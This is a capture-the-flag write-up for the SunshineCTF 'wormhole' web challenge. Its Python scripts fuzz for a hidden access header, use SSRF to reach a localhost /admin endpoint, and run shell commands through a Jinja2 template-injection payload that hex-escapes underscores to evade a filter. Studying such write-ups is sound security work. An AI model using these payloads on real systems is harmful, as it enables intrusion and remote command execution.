NOTE FROM ADMINS: Use of automated fuzzing tools are allowed for this challenge. Fuzzing. Not Crawling. All endpoints aside from one are rate limited.
https://wormhole.sunshinectf.games/
Visit https://wormhole.sunshinectf.games/fetch, an error is given:
403 Forbidden: missing or incorrect SSRF access header
Visit https://wormhole.sunshinectf.games/robots.txt, it hints the hidden /admin
endpoint and the missing header for /fetch
:
User-agent: *
Disallow: /admin
Disallow: /fetch
# internal SSRF testing tool requires special auth header to be set to 'true'
Try different auth headers:
import requests
url = "https://wormhole.sunshinectf.games/fetch"
# headers.txt downloaded from https://github.com/devanshbatham/headerpwn/blob/main/headers.txt
headers_to_try = [line.split(":")[0] for line in open("headers.txt")]
values = ["true"]
for h in headers_to_try:
for v in values:
r = requests.get(url, headers={h: v}, allow_redirects=False, timeout=5)
print(f"{h}: {v} -> {r.status_code}")
if r.status_code != 403:
print("Possible winner:", h, v)
print(r.text[:500])
raise SystemExit
The corrent answer is Allow: true
header. After that, we can access the /fetch
endpoint. It has a form for ssrf:
<div class="form-group">
<label for="url">Target URL</label>
<input type="url" id="url" name="url" placeholder="https://example.com" required>
<small class="hint">Enter a complete URL including http:// or https://</small>
</div>
So we can POST for SSRF. We want to access /admin
, which seems to only allow access from localhost:
import requests
url = "https://wormhole.sunshinectf.games/fetch"
r = requests.post(
# not working
#url, headers={"Allow": "true"}, data={"url": "https://wormhole.sunshinectf.games/admin"}
# working
url, headers={"Allow": "true"}, data={"url": "http://127.0.0.1:8000/admin"}
)
print(r.text)
It says Request failed: Missing template parameter
, so the next step is template injection. Try typical Jinja injection payload from https://onsecurity.io/article/server-side-template-injection-with-jinja2/, until we find that the server forbids .
or _
, but we can still execute arbitrary command with:
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('command')['read']()}}
It does work. Then, we only need to read flag out from the local directory:
import requests
url = "https://wormhole.sunshinectf.games/fetch"
def run(cmd):
r = requests.post(
url,
headers={"Allow": "true"},
data={
"url": "http://127.0.0.1:8000/admin?template={{request['application']['\\x5f\\x5fglobals\\x5f\\x5f']['\\x5f\\x5fbuiltins\\x5f\\x5f']['\\x5f\\x5fimport\\x5f\\x5f']('os')['popen']('"
+ cmd
+ "')['read']()}}"
},
)
print(r.text)
run("ls -al")
run("cat f*")
Flag: sun{h34der_fuzz1ng_4nd_ssti_1s_3asy_bc10bf85cabe7078}
.